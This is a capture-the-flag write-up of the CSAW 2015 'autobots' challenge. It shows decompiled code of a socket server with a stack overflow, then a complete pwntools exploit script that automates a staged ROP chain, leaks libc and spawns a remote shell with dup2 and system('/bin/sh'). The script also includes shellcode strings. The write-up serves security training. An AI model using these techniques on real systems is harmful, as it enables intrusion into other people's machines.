Home CSAW CTF 2015 -- autobots
Post
Cancel

CSAW CTF 2015 -- autobots

Category: Exploitable
Points: 350

I hear bots are playing ctfs now. nc 52.20.10.244 8888

Once we connect to the service, it will send us a 64 bit ELF binary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
    size_t v3; // rax@1
    __int16 s; // [sp+0h] [bp-80h]@1
    uint16_t v6; // [sp+2h] [bp-7Eh]@1
    int v7; // [sp+4h] [bp-7Ch]@1
    char buf; // [sp+10h] [bp-70h]@1
    int v9; // [sp+78h] [bp-8h]@1
    int fd; // [sp+7Ch] [bp-4h]@1

    fd = socket(2, 1, 0);
    memset(&s, 0, 0x10uLL);
    s = 2;
    v7 = htons(0);
    v6 = htons(0xF5A6u); // port number
    bind(fd, (const struct sockaddr *)&s, 0x10u);
    listen(fd, 10);
    v9 = accept(fd, 0LL, 0LL);
    read(v9, &buf, 0x1E0uLL); // BOF vulnerability
    v3 = strlen(&buf);
    return write(v9, &buf, v3 + 1);
}

We can see that this binary was another socket server program, which has a simple stack overflow vulnerability in it. But after I reversed the binary, got the port number and connected to the service, it gave me nothing.

At first I thought this was such a crap, but then I found out that each time I connected to the original service, it’ll gave me a different binary. It’s still a socket server program, which wait for our connection, read the input and output our input, but it has a different port number, different buffer location & different reading size.

After having some discussion with my teammates, we figure out that maybe the challenge want us to exploit the service like a bot, which means that we’ll have to figure out the port number, buffer size and try to exploit the service – all done fully automatically.

So the first thing we’ll have to do is to retrieve some informations in the binary, such as port number, buffer’s location and reading size. By using objdump, we can analyze the assembly and retrieve those informations:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.................
  4007c8:       bf a6 f5 00 00          mov    $0xf5a6,%edi     <-- port number = 0xf5a6
  4007cd:       e8 2e fe ff ff          callq  400600 <htons@plt>
...................
  40082d:       48 8d 45 90             lea    -0x70(%rbp),%rax     <-- buffer's location (offset from rbp)
  400831:       48 89 c7                mov    %rax,%rdi
  400834:       e8 b7 fd ff ff          callq  4005f0 <strlen@plt>
....................
  400816:       8b 45 f8                mov    -0x8(%rbp),%eax
  400819:       ba e0 01 00 00          mov    $0x1e0,%edx     <-- reading size
  40081e:       48 89 ce                mov    %rcx,%rsi
  400821:       89 c7                   mov    %eax,%edi
  400823:       b8 00 00 00 00          mov    $0x0,%eax
  400828:       e8 f3 fd ff ff          callq  400620 <read@plt>

Now we figure out the port number, we can connect to the service immediately after we get the binary. This time, it actually wait for me to input a string and send it back to me.

So we’re on the right track, time to exploit the service. Notice that sometimes the binary’s not exploitable, because its reading size might be smaller than the buffer’s offset from the rbp. Anyway, once we know that the service is exploitable, we can send our payload and try to do the ROP attack ( the binary has enable the DEP protection ).

But before that, there’re few things we need to beware of:

  1. It’s a socket server, so if we want to spawn a shell and execute our own command, we’ll have to use dup2() to copy stdin & stdout to our socket fd.
  2. Our socket fd is 6, we can leak it with the help of the write function
  3. The socket fd is also on stack, so while overwriting the return address, the socket fd should remain the same.

Consider that the reading size might not be big enough to read the whole ROP chain, I decide to use the stack migration trick:

  1. After overwriting the return address in main function, the first thing we do is to read the 2nd ROP chain to a data segment (buffer1) , and change the stack to buffer1 ( by using the pop rbp; ret and leave; ret gadget )
  2. The 2nd ROP chain is to leak the address in libc, read the 3rd ROP chain to buffer2, and change the stack to buffer2
  3. Finally the 3rd ROP chain will do dup2(6, 0), dup2(6, 1) and system("/bin/sh")

We can use ROPgadget to find some useful gadgets, such as pop rdi; ret and pop rsi; pop r15; ret for setting the function parameters. Notice that although we can’t find a gadget to control rdx (storing the 3rd function parameter), but since only read and write function need the third parameter, we can leverage the fact that the program has already set the rdx for us in the main function (for writing our output).

So to sum it up:

  1. Use objdump to get the port number, buffer location and reading size
  2. Use ROPgadget to find some useful gadgets (for setting parameters & stack migration)
  3. Overwrite the return address, notice that the socket fd should not be modified
  4. First ROP chain: read the 2nd ROP chain to buffer1 and change the stack
  5. Second ROP chain: leak libc’s base address, read the 3rd ROP chain to buffer2 and change the stack
  6. Third ROP chain: do dup2(6, 0), dup2(6, 1) and system("/bin/sh")

For finding the libc version, here’s an useful tool: libc database

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time

HOST = "52.20.10.244"
PORT = 8888
ELF_PATH = ""
LIBC_PATH = ""

# setting 
context.arch = 'amd64'
#context.arch = 'i386'
#context.arch = 'arm'
#context.arch = 'aarch64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
#elf = ELF(ELF_PATH)
#libc = ELF(LIBC_PATH)

def my_recvuntil(s, delim):
    res = ""
    while delim not in res:
        c = s.recv(1)
        res += c
        sys.stdout.write(c)
        sys.stdout.flush()
    return res

def myexec(cmd):
    return subprocess.check_output(cmd, shell=True)

def sc(arch=context.arch):
    if arch == "i386":
        # shellcraft.i386.linux.sh(), null free, 22 bytes
        return "\x6a\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80"
    elif arch == "amd64":
        # shellcraft.amd64.linux.sh(), null free, 24 bytes
        return "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x31\xf6\x6a\x3b\x58\x99\x0f\x05"
    elif arch == "arm":
        # null free, 27 bytes
        return "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x09\x30\x49\x40\x52\x40\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68"
    elif arch == "aarch64":
        # 4 null bytes, total 35 bytes
        return "\x06\x00\x00\x14\xe0\x03\x1e\xaa\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xa8\x1b\x80\xd2\x21\x00\x00\xd4\xfb\xff\xff\x97\x2f\x62\x69\x6e\x2f\x73\x68"
    else:
        return None

def str_addr(s, f): # search string address in file
    result = list(f.search(s+"\x00"))
    if not len(result): # no result
        return None
    else:
        return result[0]

if __name__ == "__main__":

    while True:
        myexec("nc 52.20.10.244 8888 > asdf") # download binary
        
        resp = myexec("objdump -d ./asdf | grep \"htons\" -B 1") # get port number
        resp = resp.split("--\n")[2]
        port = resp[resp.index("0x"):resp.index(","):]
        port = int(port, 16)
        
        resp = myexec("objdump -d ./asdf | grep \"strlen\" -B 2") # get buffer offset
        resp = resp.split("lea    -")[1]
        offset = int(resp[:resp.index("(%rbp"):], 16)
        
        resp = myexec("objdump -d ./asdf | grep \"read\" -B 4") # read size
        resp = resp.split("mov")[1]
        resp = resp[resp.index("0x"):resp.index(","):]
        read = int(resp, 16)

        print "==================="
        log.success("port: "+str(port))
        log.success("offset: "+hex(offset))
        log.success("read: "+hex(read))
        
        if read < 0x80 or read < offset or offset-8 < 0x78: # exploitable or not
            continue

        r = remote(HOST, port)
        elf = ELF("./asdf")
        
        # use ROPgadget to find some useful address
        pop_rdi = int(myexec("ROPgadget --binary ./asdf | grep \"pop rdi\"").split(" ")[0], 16)
        pop_rsi_r15 = int(myexec("ROPgadget --binary ./asdf | grep \"pop rsi \"").split(" ")[0], 16)
        leave = int(myexec("ROPgadget --binary ./asdf | grep \"leave\"").split(" ")[0], 16)
        pop_rbp = int(myexec("ROPgadget --binary ./asdf | grep \": pop rbp ; ret$\"").split(" ")[0], 16)

        log.success("pop_rdi: "+hex(pop_rdi))
        log.success("pop_rsi_r15: "+hex(pop_rsi_r15))
        log.success("leave: "+hex(leave))
        log.success("pop_rbp: "+hex(pop_rbp))
        buf1 = 0x00602000 - 0x200
        buf2 = 0x00602000 - 0x300

        payload = "A"*(offset-8)
        payload += p32(6) # socket fd
        payload += p32(3)
        payload += "B"*8 # rbp
        payload += p64(pop_rdi) # return address
        payload += p64(6)
        payload += p64(pop_rsi_r15)
        payload += p64(buf1) # read the 2nd ROP chain to buffer1
        payload += p64(0)
        payload += p64(elf.symbols['read']) # read(6, buffer1, len)
        payload += p64(pop_rbp) # stack migration
        payload += p64(buf1-8)
        payload += p64(leave)
        r.send(payload)
        r.recvrepeat(0.5)

        payload = p64(pop_rdi)
        payload += p64(6)
        payload += p64(pop_rsi_r15)
        payload += p64(elf.got['write']) # leak write's GOT
        payload += p64(0)
        payload += p64(elf.symbols['write']) # write(6, write@got.plt, len)
        payload += p64(pop_rdi)
        payload += p64(6)
        payload += p64(pop_rsi_r15)
        payload += p64(buf2) # read the 3rd ROP chain to buffer2
        payload += p64(0)
        payload += p64(elf.symbols['read']) # read(6, buffer2, len) 
        payload += p64(pop_rbp) # stack migration
        payload += p64(buf2-8)
        payload += p64(leave)
        r.send(payload)
       
        write_addr = (u64(r.recv(6).ljust(8, "\x00")))
        log.success("write_addr: "+hex(write_addr))

        # thanks to libc database
        # offset_system = 0x0000000000046640
        # offset_dup2 = 0x00000000000ebfe0
        # offset_read = 0x00000000000eb800
        # offset_write = 0x00000000000eb860
        # offset_str_bin_sh = 0x17ccdb
        
        libc_base = write_addr - 0xeb860
        system_addr = libc_base + 0x46640
        dup2_addr = libc_base + 0xebfe0
        sh_addr = libc_base + 0x17ccdb
    
        log.success("libc_base: "+hex(libc_base))
        log.success("system_addr: "+hex(system_addr))
        log.success("dup2_addr: "+hex(dup2_addr))
        log.success("sh_addr: "+hex(sh_addr))
        
        payload = p64(pop_rdi)
        payload += p64(6)
        payload += p64(pop_rsi_r15)
        payload += p64(0)
        payload += p64(0)
        payload += p64(dup2_addr) # dup2(6, 0)
        payload += p64(pop_rdi)
        payload += p64(6)
        payload += p64(pop_rsi_r15)
        payload += p64(1)
        payload += p64(0)
        payload += p64(dup2_addr) # dup2(6, 1)
        payload += p64(pop_rdi)
        payload += p64(sh_addr)
        payload += p64(system_addr) #system("/bin/sh")
        r.send(payload)

        r.interactive()

And finally we get the flag: flag{c4nt_w4it_f0r_cgc_7h15_y34r}
CGC huh, well…I’m not sure about that :/ but anyway this is a pretty good challenge :)

This post is licensed under CC BY-SA 4.0 by the author.

CSAW CTF 2015 -- wyvern

Hack.lu CTF 2015 -- secret library

Comments powered by Disqus.